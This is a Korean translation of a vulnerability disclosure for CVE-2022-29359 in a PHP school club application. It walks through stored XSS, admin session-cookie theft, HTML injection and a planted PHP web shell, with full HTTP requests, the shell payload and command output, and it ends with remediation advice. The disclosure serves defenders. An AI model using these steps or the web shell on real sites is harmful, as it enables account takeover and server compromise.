
CVE-2022-29359 - 학교 응용 시스템 저장형 크로스 사이트 스크립팅
# 학교 동아리 지원 시스템 문제: 인증되지 않은 저장형 크로스 사이트 스크립팅에서 HTML 인젝션, RCE까지 작성자: Zak Clifford 날짜: 12.04.2022 공급업체: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html 소프트웨어: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip 참조: https://github.com/ZSECURE 테스트 환경: Windows, MySQL, Apache --- ## 요약 무료 오픈소스 소프트웨어(FOSS) 애플리케이션을 테스트하던 중, 인증되지 않은 공격자가 북클럽에 가입 신청을 하고 XSS 페이로드를 주입하여 애플리케이션 관리자(Admin 또는 Club Admin 역할)의 세션 쿠키를 탈취할 수 있는 취약점이 발견되었습니다. 세션 쿠키를 이용해 관리자로 로그인하면 about-us 및 홈 페이지에 PHP 코드를 추가할 수 있습니다. PHP 셸을 추가하면 웹서버에서 명령을 실행할 수 있게 됩니다. ## 개념 증명 ### 인증되지 않은 저장형 XSS 수동 단계: 동아리에 지원하고 `Submit Application`을 클릭합니다. 직접 접근: 다음 URL로 이동합니다. `http://localhost/scas/?page=clubs/application_form&id=7` 취약한 입력 필드 스크린샷:  firstname 매개변수에 다음 페이로드를 삽입합니다. ```html m1st3r3"> ``` 페이로드가 포함된 POST 요청은 다음과 같습니다. ```html POST /scas/classes/Master.php?f=save_application HTTP/1.1 Host: localhost Content-Length: 1326 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEWvm4hOYmjUAAlLT X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/scas/?page=clubs/application_form&id=7 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection: close ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="id" ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="club_id" 7 ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="firstname" m1st3r3"> ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="middlename" ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="lastname" test ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="gender" Male ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="year_level" 2022 ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="section" test ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="email" [email protected] ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="contact" 0123456789 ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="address" ------WebKitFormBoundaryEWvm4hOYmjUAAlLT Content-Disposition: form-data; name="message" ------WebKitFormBoundaryEWvm4hOYmjUAAlLT-- ``` 포트 8000에서 수신 대기하는 Python HTTP 웹 서버를 시작하여 요청을 캡처합니다. ```html PS C:\xampp\htdocs\scas> python -m http.server Serving HTTP on :: port 8000 (http://[::]:8000/) ... ::ffff:127.0.0.1 - - [11/Apr/2022 22:54:46] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 - ::ffff:127.0.0.1 - - [11/Apr/2022 23:15:37] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 - ::ffff:127.0.0.1 - - [12/Apr/2022 10:26:35] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 - ::ffff:127.0.0.1 - - [12/Apr/2022 10:26:49] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 - ::ffff:127.0.0.1 - - [12/Apr/2022 10:32:01] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 - ``` 이제 관리자 또는 클럽 관리자가 로그인하여 지원서를 확인하면 저장형 XSS가 트리거되어 세션 쿠키를 캡처할 수 있습니다. 쿠키를 캡처한 후에는 해당 사용자로 쿠키를 사용하여 로그인할 수 있습니다. ### HTML 인젝션 관리자의 세션 쿠키를 사용하여 index.php 및 about-us.php에 코드를 주입하여 페이지를 조작하고 명령 실행까지 가능해집니다. 요청: ```html POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1 Host: localhost Content-Length: 5552 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/scas/admin/?page=system Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq Connection: close ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="name" School Club Application System ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="short_name" SCAS - PHP ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="content[welcome]" <h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p> ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="content[about]" <h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">In scelerisque risus elit, sed imperdiet magna porttitor eu. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Etiam non augue eget lacus semper placerat in at libero. Sed a libero malesuada, pharetra elit posuere, sagittis ligula. Pellentesque aliquam ultrices arcu, sed blandit leo euismod in. Vestibulum luctus diam orci, eget convallis nisl dapibus rutrum. Aliquam nec dui lobortis, consectetur sem et, semper urna. Morbi at nunc nibh. Curabitur placerat tortor in quam dignissim volutpat. Integer ac purus vel nulla posuere gravida. Sed justo ex, venenatis eget interdum sit amet, tincidunt at neque. Cras vitae urna at leo commodo cursus. Duis at ligula non orci sodales ultricies. Fusce vulputate convallis augue, egestas semper diam condimentum et. Duis ante purus, tincidunt eu est in, ullamcorper molestie ante. Pellentesque sodales sit amet massa vitae vulputate.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Quisque fringilla, mi quis blandit posuere, nulla lorem sagittis dui, et dapibus urna nisl et nisl. Sed vel leo rutrum, suscipit urna at, elementum augue. Donec vitae gravida lacus. Sed accumsan ligula sit amet nisi scelerisque, ac malesuada ligula pharetra. Nulla pellentesque nisl quis purus congue, id luctus lacus aliquam. Phasellus magna dolor, tempus vel cursus sed, sollicitudin sit amet est. Donec et ultrices odio. Proin posuere, arcu sit amet rhoncus sagittis, lacus mi porttitor dolor, quis ornare arcu ante ac tortor. Aliquam porttitor velit in viverra eleifend. Nam quis ullamcorper orci. Suspendisse bibendum justo id diam eleifend, non molestie libero mattis. Quisque felis nunc, fringilla sit amet pretium nec, rhoncus vel sapien. Proin auctor cursus nulla sed hendrerit.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><br></p> ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="cover"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarylq5Nntc4amccqP1S-- ```  ### 원격 코드 실행 앞서 설명한 HTML 인젝션 문제를 바탕으로, 페이지에 PHP 셸을 추가하고 명령을 실행할 수 있습니다. Lorem ipsum 끝에 다음 페이로드를 추가합니다. `<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>` ```php POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1 Host: localhost Content-Length: 5552 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/scas/admin/?page=system Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq Connection: close ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="name" School Club Application System ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="short_name" SCAS - PHP ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="content[welcome]" <p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p><?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="content[about]" <p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">In scelerisque risus elit, sed imperdiet magna porttitor eu. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Etiam non augue eget lacus semper placerat in at libero. Sed a libero malesuada, pharetra elit posuere, sagittis ligula. Pellentesque aliquam ultrices arcu, sed blandit leo euismod in. Vestibulum luctus diam orci, eget convallis nisl dapibus rutrum. Aliquam nec dui lobortis, consectetur sem et, semper urna. Morbi at nunc nibh. Curabitur placerat tortor in quam dignissim volutpat. Integer ac purus vel nulla posuere gravida. Sed justo ex, venenatis eget interdum sit amet, tincidunt at neque. Cras vitae urna at leo commodo cursus. Duis at ligula non orci sodales ultricies. Fusce vulputate convallis augue, egestas semper diam condimentum et. Duis ante purus, tincidunt eu est in, ullamcorper molestie ante. Pellentesque sodales sit amet massa vitae vulputate.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Quisque fringilla, mi quis blandit posuere, nulla lorem sagittis dui, et dapibus urna nisl et nisl. Sed vel leo rutrum, suscipit urna at, elementum augue. Donec vitae gravida lacus. Sed accumsan ligula sit amet nisi scelerisque, ac malesuada ligula pharetra. Nulla pellentesque nisl quis purus congue, id luctus lacus aliquam. Phasellus magna dolor, tempus vel cursus sed, sollicitudin sit amet est. Donec et ultrices odio. Proin posuere, arcu sit amet rhoncus sagittis, lacus mi porttitor dolor, quis ornare arcu ante ac tortor. Aliquam porttitor velit in viverra eleifend. Nam quis ullamcorper orci. Suspendisse bibendum justo id diam eleifend, non molestie libero mattis. Quisque felis nunc, fringilla sit amet pretium nec, rhoncus vel sapien. Proin auctor cursus nulla sed hendrerit.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><br></p><?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarylq5Nntc4amccqP1S Content-Disposition: form-data; name="cover"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarylq5Nntc4amccqP1S-- ``` 그런 다음 `index.php` 페이지에 매개변수 `cmd=<명령어>`를 포함하여 요청하면 명령을 실행할 수 있습니다. 요청: ```html GET /scas/index.php?cmd=dir HTTP/1.1 Host: localhost Content-Length: 0 ``` 응답: ```html HTTP/1.1 200 OK <snipped for brevity> <pre> Volume in drive C is OS Volume Serial Number is 9C4B-142B Directory of C:\xampp\htdocs\scas 10/04/2022 19:09 <DIR> . 10/04/2022 19:09 <DIR> .. 10/04/2022 15:35 225 .htaccess 12/04/2022 18:05 2,533 about.html 10/04/2022 15:35 220 about.php 10/04/2022 16:14 <DIR> admin 10/04/2022 16:15 <DIR> assets 10/04/2022 16:14 <DIR> classes 10/04/2022 17:17 <DIR> clubs 10/04/2022 16:14 <DIR> club_admin 10/04/2022 16:14 <DIR> club_contents 10/04/2022 15:35 1,297 config.php 10/04/2022 16:14 <DIR> database 10/04/2022 15:35 256 home.php 10/04/2022 16:14 <DIR> includes 10/04/2022 15:35 3,010 index.php 10/04/2022 15:35 647 initialize.php 10/04/2022 16:14 <DIR> uploads 12/04/2022 18:05 1,955 welcome.html 10 File(s) 11,553 bytes 11 Dir(s) 181,660,803,072 bytes free </pre> ``` 이것이 저의 첫 CVE입니다. 부드럽게 봐주세요 😃 ## 해결 방안 - 사용자 입력을 HTML 인코딩하여 웹서버에서 실행되지 않도록 합니다. - 세션 쿠키를 HTTPOnly로 설정합니다. `PHPSESSID` - 콘텐츠 보안 정책(Content-Security-Policy)을 구현합니다.